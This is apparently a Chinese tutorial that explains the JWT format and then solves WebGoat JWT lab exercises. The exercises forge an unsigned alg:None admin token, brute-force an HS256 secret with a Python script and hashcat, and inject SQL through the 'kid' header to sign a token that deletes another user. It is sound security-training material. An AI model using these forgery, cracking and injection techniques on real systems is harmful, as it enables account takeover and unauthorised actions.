JSON Web Token (JWT) 是一种开放标准 (RFC 7519),它定义了一种紧凑且自包含的方式,用于
在各方之间作为 JSON 对象安全地传输信息。该信息可以被验证和信任,因为它是经过数字签名的。JWT 可以使用密钥(使用 HMAC 算法)或使用 RSA 的公钥/私钥对进行签名。
JWT分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。
1、头部(Header)
以上面的JWT为例,其中的头部解码后是这样的
{
"alg":"HS256",
"typ":"JWT"
}
alg
是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。
typ
说明这个token的类型为JWT
2、声明(Claims)
上面的例子的声明解码后是:
{
"exp": 1416471934,
"user_name": "user",
"scope": [
"read",
"write"
],
"authorities": [
"ROLE_ADMIN",
"ROLE_USER"
],
"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
"client_id": "my-client-with-secret"
}
其中有些字段是JWT的固定参数,有特定的含义;而另一些是服务器自定义的参数,用来表示通话信息等。
JWT固定参数有:
iss:发行人
exp:到期时间
sub:主题
aud:用户
nbf:在此之前不可用
iat:发布时间
jti:JWT ID用于标识该JWT
这段JSON同样以Base64 URL 编码后作为JWT的一部分。
3、签名
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。
上面的例子的的签名为
qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk
下面是一个用HS256生成JWT的代码例子
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)
1、用户端登录,用户名和密码在请求中被发往服务器
2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行签名,生成该用户的JWT。此时,服务器并没有保存登录状态信息。
3、服务器将JWT(通过响应)返回给客户端
4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中
5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态
6、服务器返回响应
在HTTP传输过程中,Base64编码中的"=","+","/“等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码,在Base64 URL编码中,”+“会变成”-","/“会变成”_","="会被去掉,以此达到url safe的目的。
靶机采用webgoat JWT tokens第4题,该题的目的是更改token成为管理员,继而重置投票
首先找到重置按钮
然后选择一个用户
点击重置,并用Burp Suite抓取请求包
打开网站https://jwt.io
解码token,得到JWT头部和声明。
声明中有一个admin字段,那么这题应该是需要我们将false改成true。
但修改JWT声明内容,签名需要重新生成,生成签名又需要密钥,但我们又没有密钥?!
前面讲JWT的结构说过,alg的值是可以为None的,这时也就是不加签名,签名的值就可以留空。
在https://jwt.io
这个网站上是不允许将alg设置为None的。
所以,需要我们使用编码工具手动编码
头部
{
"alg": "None"
}
Base64编码后得到:
ewogICJhbGciOiAiTm9uZSIKfQ==
声明:
{
"iat": 1630751159,
"admin": "true",
"user": "Tom"
}
Base64编码后得到:
ewogICJpYXQiOiAxNjMwNzUxMTU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=
因为我们要的是Base64 URL编码,手动去掉"="号,得到JWT(注意签名前的"."不能去掉):
ewogICJhbGciOiAiTm9uZSIKfQ.ewogICJpYXQiOiAxNjMwNzUxMTU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.
靶机采用webgoat JWT tokens第5题,该题的目的是找出密钥,然后创建一个新的令牌并对其签名。
下面开始爆破,不过好在提示里已经给出了字典
脚本搬大神的(稍微修改了一点)
'''
1、若签名直接校验成功,则key_为有效密钥;
2、若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuerAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)
导致校验失败,说明并非密钥错误导致,则key_也为有效密钥;
3、若因密钥错误(jwt.exceptions.InvalidSignatureError)导致检验失败,则key_为无效密钥;
4、若为其他原因(如JWT字符串格式错误)导致校验失败,根本无法验证当前key_是否有效。
'''
import jwt
import termcolor
jwt_str = R'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs' \
R'ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFt' \
R'ZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamV' \
R'jdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM'
with open('google-10000-english.txt') as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms='HS256')
print('\r','\bbingo! found key -->',termcolor.colored(key_,'green'),'<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuerError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError):
print('\r','\bbingo! found key -->',termcolor.colored(key_,'green'),'<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r','' * 64,'\r\btry',key_,end='',flush=True)
continue
else:
print('\r','\bsorry! no key be found.')
运行结果,得到密钥victory
去https://jwt.io
上生成新令牌,修改username,exp字段,最后填上密码。
题目中提交新令牌
方法二:hashcat爆破
电脑中下载hashcat:https://github.com/hashcat/hashcat/releases/tag/v6.2.3
令牌保存为txt文档,并和字典一同放在hashcat根目录。
执行命令(我是在powershell中执行)
.\hashcat.exe -m 16500 .\jwt.txt -a 0 .\google-10000-english.txt --force
靶机采用webgoat JWT tokens第8题,该题的目的是删除TOM的账户。
选择TOM账户并点击删除,BurpSuite抓包。
该请求参数带有JWT令牌,但是jerry的令牌,所以需要对JWT做手脚。
将令牌拷贝到https://jwt.io
做解析。
本题中的 WebGoat 提示告诉我们尝试通过 SQL 注入操作“kid”参数,因此如果“webgoat_key”是用于获取加密密钥的标识符,则可能会强制使用新密钥,由此创建一个新的有效令牌
通过查询源码(https://github.com/WebGoat/WebGoat/blob/develop/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java
),可以看到查询的sql语句。
"SELECT key FROM jwt_keys WHERE id = '" + kid + "'"
构造注入语句
hacked' UNION select 'delete' from INFORMATION_SCHEMA.SYSTEM_USERS --
同时通过源码,可以看到密钥在用于检查 JWT 声明之前已进行 base64 解码,因此我们反推,在数据库中存储的是经过base64编码的。
对delete
进行base64编码后,新sql语句为
hacked' UNION select 'ZGVsZXRl' from INFORMATION_SCHEMA.SYSTEM_USERS --
https://jwt.io
上重新编码
将 JWT token 粘贴到 Burp Repeater中发送,返回结果中看到成功删除。